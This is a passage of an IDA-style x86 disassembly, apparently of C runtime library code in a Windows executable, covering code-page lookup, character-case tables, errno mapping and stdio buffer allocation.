		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_421E30
; ---------------------------------------------------------------------------


loc_421E02:				; CODE XREF: sub_421AF0+1D0j
		cmp	dword_4DE054, 0
		jz	short loc_421E23
		call	sub_421F20
		call	sub_421FA0
		push	19h
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_421E30
; ---------------------------------------------------------------------------


loc_421E23:				; CODE XREF: sub_421AF0+319j
		push	19h
		call	sub_41BD20
		add	esp, 4
		or	eax, 0FFFFFFFFh


loc_421E30:				; CODE XREF: sub_421AF0+36j
					; sub_421AF0+57j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E40	proc near		; CODE XREF: sub_421AF0+14p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	dword_4DE054, 0
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jnz	short loc_421E65
		mov	dword_4DE054, 1
		call	dword_4E04BC	; GetOEMCP
		jmp	short loc_421E97
; ---------------------------------------------------------------------------


loc_421E65:				; CODE XREF: sub_421E40+11j
		cmp	[ebp+arg_0], 0FFFFFFFDh
		jnz	short loc_421E7D
		mov	dword_4DE054, 1
		call	dword_4E04B8	; GetACP
		jmp	short loc_421E97
; ---------------------------------------------------------------------------


loc_421E7D:				; CODE XREF: sub_421E40+29j
		cmp	[ebp+arg_0], 0FFFFFFFCh
		jnz	short loc_421E94
		mov	dword_4DE054, 1
		mov	eax, dword_4DE084
		jmp	short loc_421E97
; ---------------------------------------------------------------------------


loc_421E94:				; CODE XREF: sub_421E40+41j
		mov	eax, [ebp+arg_0]


loc_421E97:				; CODE XREF: sub_421E40+23j
					; sub_421E40+3Bj ...
		pop	ebp
		retn
sub_421E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA0	proc near		; CODE XREF: sub_421AF0+161p
					; sub_421AF0+2B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_421EEA
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_421F04[eax]
		jmp	off_421EF0[edx*4]


loc_421ECE:				; DATA XREF: .data:off_421EF0o
		mov	eax, 411h
		jmp	short loc_421EEC
; ---------------------------------------------------------------------------


loc_421ED5:				; CODE XREF: sub_421EA0+27j
					; DATA XREF: .data:00421EF4o
		mov	eax, 804h
		jmp	short loc_421EEC
; ---------------------------------------------------------------------------


loc_421EDC:				; CODE XREF: sub_421EA0+27j
					; DATA XREF: .data:00421EF8o
		mov	eax, 412h
		jmp	short loc_421EEC
; ---------------------------------------------------------------------------


loc_421EE3:				; CODE XREF: sub_421EA0+27j
					; DATA XREF: .data:00421EFCo
		mov	eax, 404h
		jmp	short loc_421EEC
; ---------------------------------------------------------------------------


loc_421EEA:				; CODE XREF: sub_421EA0+1Aj
					; sub_421EA0+27j
					; DATA XREF: ...
		xor	eax, eax


loc_421EEC:				; CODE XREF: sub_421EA0+33j
					; sub_421EA0+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_421EA0	endp

; ---------------------------------------------------------------------------
off_421EF0	dd offset loc_421ECE	; DATA XREF: sub_421EA0+27r
		dd offset loc_421ED5
		dd offset loc_421EDC
		dd offset loc_421EE3
		dd offset loc_421EEA
byte_421F04	db 0			; DATA XREF: sub_421EA0+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F20	proc near		; CODE XREF: sub_421AF0+41p
					; sub_421AF0+31Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_421F36
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421F20+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_421F36:				; CODE XREF: sub_421F20+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_421F4B
		mov	ecx, [ebp+var_4]
		mov	byte_4DE540[ecx], 0
		jmp	short loc_421F2D
; ---------------------------------------------------------------------------


loc_421F4B:				; CODE XREF: sub_421F20+1Dj
		mov	dword_4DE42C, 0
		mov	dword_4DE43C, 0
		mov	dword_4DE644, 0
		mov	[ebp+var_4], 0
		jmp	short loc_421F7B
; ---------------------------------------------------------------------------


loc_421F72:				; CODE XREF: sub_421F20+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_421F7B:				; CODE XREF: sub_421F20+50j
		cmp	[ebp+var_4], 6
		jge	short loc_421F90
		mov	eax, [ebp+var_4]
		mov	word_4DE430[eax*2], 0
		jmp	short loc_421F72
; ---------------------------------------------------------------------------


loc_421F90:				; CODE XREF: sub_421F20+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_421F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421FA0	proc near		; CODE XREF: sub_421AF0+46p
					; sub_421AF0:loc_421C94p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, dword_4DE42C
		push	ecx
		call	dword_4E04B4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4221D9
		mov	[ebp+var_51C], 0
		jmp	short loc_421FE1
; ---------------------------------------------------------------------------


loc_421FD2:				; CODE XREF: sub_421FA0+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_421FE1:				; CODE XREF: sub_421FA0+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_422002
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_421FD2
; ---------------------------------------------------------------------------


loc_422002:				; CODE XREF: sub_421FA0+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_42201D
; ---------------------------------------------------------------------------


loc_422014:				; CODE XREF: sub_421FA0:loc_422066j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_42201D:				; CODE XREF: sub_421FA0+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_422068
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_422046
; ---------------------------------------------------------------------------


loc_422037:				; CODE XREF: sub_421FA0+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_422046:				; CODE XREF: sub_421FA0+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_422066
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_422037
; ---------------------------------------------------------------------------


loc_422066:				; CODE XREF: sub_421FA0+B4j
		jmp	short loc_422014
; ---------------------------------------------------------------------------


loc_422068:				; CODE XREF: sub_421FA0+86j
		push	0
		mov	eax, dword_4DE644
		push	eax
		mov	ecx, dword_4DE42C
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	sub_429B60
		add	esp, 1Ch
		push	0
		mov	ecx, dword_4DE42C
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, dword_4DE644
		push	ecx
		call	sub_4275A0
		add	esp, 20h
		push	0
		mov	edx, dword_4DE42C
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, dword_4DE644
		push	edx
		call	sub_4275A0
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_422119
; ---------------------------------------------------------------------------


loc_42210A:				; CODE XREF: sub_421FA0:loc_4221CFj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_422119:				; CODE XREF: sub_421FA0+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_4221D4
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_422176
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4DE541[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	byte_4DE541[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	byte_4DE440[eax], dl
		jmp	short loc_4221CF
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_421FA0+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4221C2
		mov	edx, [ebp+var_51C]
		mov	al, byte_4DE541[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4DE541[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	byte_4DE440[edx], cl
		jmp	short loc_4221CF
; ---------------------------------------------------------------------------


loc_4221C2:				; CODE XREF: sub_421FA0+1EBj
		mov	edx, [ebp+var_51C]
		mov	byte_4DE440[edx], 0


loc_4221CF:				; CODE XREF: sub_421FA0+1D4j
					; sub_421FA0+220j
		jmp	loc_42210A
; ---------------------------------------------------------------------------


loc_4221D4:				; CODE XREF: sub_421FA0+183j
		jmp	loc_42229E
; ---------------------------------------------------------------------------


loc_4221D9:				; CODE XREF: sub_421FA0+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_4221F4
; ---------------------------------------------------------------------------


loc_4221E5:				; CODE XREF: sub_421FA0:loc_422299j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_4221F4:				; CODE XREF: sub_421FA0+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_42229E
		cmp	[ebp+var_51C], 41h
		jb	short loc_422248
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_422248
		mov	ecx, [ebp+var_51C]
		mov	dl, byte_4DE541[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	byte_4DE541[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4DE440[edx], cl
		jmp	short loc_422299
; ---------------------------------------------------------------------------


loc_422248:				; CODE XREF: sub_421FA0+26Bj
					; sub_421FA0+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_42228C
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_42228C
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4DE541[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4DE541[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4DE440[ecx], al
		jmp	short loc_422299
; ---------------------------------------------------------------------------


loc_42228C:				; CODE XREF: sub_421FA0+2AFj
					; sub_421FA0+2B8j
		mov	edx, [ebp+var_51C]
		mov	byte_4DE440[edx], 0


loc_422299:				; CODE XREF: sub_421FA0+2A6j
					; sub_421FA0+2EAj
		jmp	loc_4221E5
; ---------------------------------------------------------------------------


loc_42229E:				; CODE XREF: sub_421FA0:loc_4221D4j
					; sub_421FA0+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_421FA0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4DE43C, 0
		jz	short loc_4222C3
		mov	eax, dword_4DE42C
		jmp	short loc_4222C5
; ---------------------------------------------------------------------------


loc_4222C3:				; CODE XREF: .data:004222BAj
		xor	eax, eax


loc_4222C5:				; CODE XREF: .data:004222C1j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222D0	proc near		; CODE XREF: sub_427B20+Dp
					; sub_427BE0+Fp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4DF68C, 0
		jnz	short loc_4222F0
		push	0FFFFFFFDh
		call	sub_421AF0
		add	esp, 4
		mov	dword_4DF68C, 1


loc_4222F0:				; CODE XREF: sub_4222D0+Aj
		pop	ebp
		retn
sub_4222D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422300	proc near		; CODE XREF: sub_417F80+41p
					; sub_417F80+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	dword_4DE43C, 0
		jnz	short loc_42232C
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_417760
		add	esp, 0Ch
		jmp	loc_422421
; ---------------------------------------------------------------------------


loc_42232C:				; CODE XREF: sub_422300+11j
		push	19h
		call	sub_41BC80
		add	esp, 4


loc_422336:				; CODE XREF: sub_422300:loc_4223EEj
		cmp	[ebp+arg_8], 0
		jz	loc_4223F3
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4DE541[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4223C5
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42238A
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_4223F3
; ---------------------------------------------------------------------------


loc_42238A:				; CODE XREF: sub_422300+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_4223C3
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_4223F3
; ---------------------------------------------------------------------------


loc_4223C3:				; CODE XREF: sub_422300+B8j
		jmp	short loc_4223EE
; ---------------------------------------------------------------------------


loc_4223C5:				; CODE XREF: sub_422300+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_4223EE
		jmp	short loc_4223F3
; ---------------------------------------------------------------------------


loc_4223EE:				; CODE XREF: sub_422300:loc_4223C3j
					; sub_422300+EAj
		jmp	loc_422336
; ---------------------------------------------------------------------------


loc_4223F3:				; CODE XREF: sub_422300+3Aj
					; sub_422300+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_422414
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4223F3
; ---------------------------------------------------------------------------


loc_422414:				; CODE XREF: sub_422300+101j
		push	19h
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_422421:				; CODE XREF: sub_422300+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422430	proc near		; CODE XREF: sub_418580+2Ep
					; sub_41A3D0+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4224E0
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_422450
; ---------------------------------------------------------------------------


loc_422447:				; CODE XREF: sub_422430:loc_422478j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_422450:				; CODE XREF: sub_422430+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_42247A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_447598[eax*8]
		jnz	short loc_422478
		call	sub_4224D0
		mov	edx, [ebp+var_4]
		mov	ecx, dword_44759C[edx*8]
		mov	[eax], ecx
		jmp	short loc_4224BD
; ---------------------------------------------------------------------------


loc_422478:				; CODE XREF: sub_422430+33j
		jmp	short loc_422447
; ---------------------------------------------------------------------------


loc_42247A:				; CODE XREF: sub_422430+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_422493
		cmp	[ebp+arg_0], 24h
		ja	short loc_422493
		call	sub_4224D0
		mov	dword ptr [eax], 0Dh
		jmp	short loc_4224BD
; ---------------------------------------------------------------------------


loc_422493:				; CODE XREF: sub_422430+4Ej
					; sub_422430+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_4224B2
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_4224B2
		call	sub_4224D0
		mov	dword ptr [eax], 8
		jmp	short loc_4224BD
; ---------------------------------------------------------------------------


loc_4224B2:				; CODE XREF: sub_422430+6Aj
					; sub_422430+73j
		call	sub_4224D0
		mov	dword ptr [eax], 16h


loc_4224BD:				; CODE XREF: sub_422430+46j
					; sub_422430+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224D0	proc near		; CODE XREF: sub_418220:loc_4184F2p
					; sub_41A040:loc_41A09Bp ...
		push	ebp
		mov	ebp, esp
		call	sub_421920
		add	eax, 8
		pop	ebp
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224E0	proc near		; CODE XREF: sub_41A3D0+4Ap
					; sub_41B6B0+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_421920
		add	eax, 0Ch
		pop	ebp
		retn
sub_4224E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422500	proc near		; CODE XREF: sub_418220+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE074, 0
		jnz	short loc_422527
		cmp	[ebp+arg_0], 61h
		jl	short loc_422522
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_422522
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_422522:				; CODE XREF: sub_422500+11j
					; sub_422500+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_42258F
; ---------------------------------------------------------------------------


loc_422527:				; CODE XREF: sub_422500+Bj
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_422559
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_422560
; ---------------------------------------------------------------------------


loc_422559:				; CODE XREF: sub_422500+39j
		mov	[ebp+var_4], 0


loc_422560:				; CODE XREF: sub_422500+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4225A0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_422581
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_422581:				; CODE XREF: sub_422500+73j
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_42258C:				; CODE XREF: sub_422500+7Fj
		mov	eax, [ebp+arg_0]


loc_42258F:				; CODE XREF: sub_422500+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_422500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225A0	proc near		; CODE XREF: sub_422500+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4DE074, 0
		jnz	short loc_4225CC
		cmp	[ebp+arg_0], 61h
		jl	short loc_4225C4
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_4225C4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_4225C4:				; CODE XREF: sub_4225A0+13j
					; sub_4225A0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_4226C7
; ---------------------------------------------------------------------------


loc_4225CC:				; CODE XREF: sub_4225A0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_422613
		cmp	dword_447480, 1
		jle	short loc_4225F1
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_422605
; ---------------------------------------------------------------------------


loc_4225F1:				; CODE XREF: sub_4225A0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_422605:				; CODE XREF: sub_4225A0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_422613
		mov	eax, [ebp+arg_0]
		jmp	loc_4226C7
; ---------------------------------------------------------------------------


loc_422613:				; CODE XREF: sub_4225A0+33j
					; sub_4225A0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42265C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_42266D
; ---------------------------------------------------------------------------


loc_42265C:				; CODE XREF: sub_4225A0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_42266D:				; CODE XREF: sub_4225A0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, dword_4DE074
		push	edx
		call	sub_4275A0
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4226A1
		mov	eax, [ebp+arg_0]
		jmp	short loc_4226C7
; ---------------------------------------------------------------------------


loc_4226A1:				; CODE XREF: sub_4225A0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_4226B1
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_4226C7
; ---------------------------------------------------------------------------


loc_4226B1:				; CODE XREF: sub_4225A0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_4226C7:				; CODE XREF: sub_4225A0+27j
					; sub_4225A0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4225A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D0	proc near		; CODE XREF: sub_4185F0+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_4226D9:				; CODE XREF: sub_4226D0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4226FD
		push	offset dword_4344AC
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4226FD
		int	3		; Trap to Debugger


loc_4226FD:				; CODE XREF: sub_4226D0+Dj
					; sub_4226D0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4226D9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42A390
		add	esp, 4
		test	eax, eax
		jnz	short loc_422723
		xor	eax, eax
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_422723:				; CODE XREF: sub_4226D0+4Aj
		cmp	[ebp+var_4], offset dword_444EF8
		jnz	short loc_422735
		mov	[ebp+var_8], 0
		jmp	short loc_42274E
; ---------------------------------------------------------------------------


loc_422735:				; CODE XREF: sub_4226D0+5Aj
		cmp	[ebp+var_4], offset dword_444F18
		jnz	short loc_422747
		mov	[ebp+var_8], 1
		jmp	short loc_42274E
; ---------------------------------------------------------------------------


loc_422747:				; CODE XREF: sub_4226D0+6Cj
		xor	eax, eax
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_42274E:				; CODE XREF: sub_4226D0+63j
					; sub_4226D0+75j
		mov	ecx, dword_4DDFDC
		add	ecx, 1
		mov	dword_4DDFDC, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_422773
		xor	eax, eax
		jmp	loc_422820
; ---------------------------------------------------------------------------


loc_422773:				; CODE XREF: sub_4226D0+9Aj
		mov	ecx, [ebp+var_8]
		cmp	dword_4DE058[ecx*4], 0
		jnz	short loc_4227DA
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_4150C0
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	dword_4DE058[edx*4], eax
		mov	eax, [ebp+var_8]
		cmp	dword_4DE058[eax*4], 0
		jnz	short loc_4227DA
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_422809
; ---------------------------------------------------------------------------


loc_4227DA:				; CODE XREF: sub_4226D0+AEj
					; sub_4226D0+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DE058[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h


loc_422809:				; CODE XREF: sub_4226D0+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1


loc_422820:				; CODE XREF: sub_4226D0+4Ej
					; sub_4226D0+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4226D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422830	proc near		; CODE XREF: sub_4185F0+A3p

var_4		= dword	ptr -4
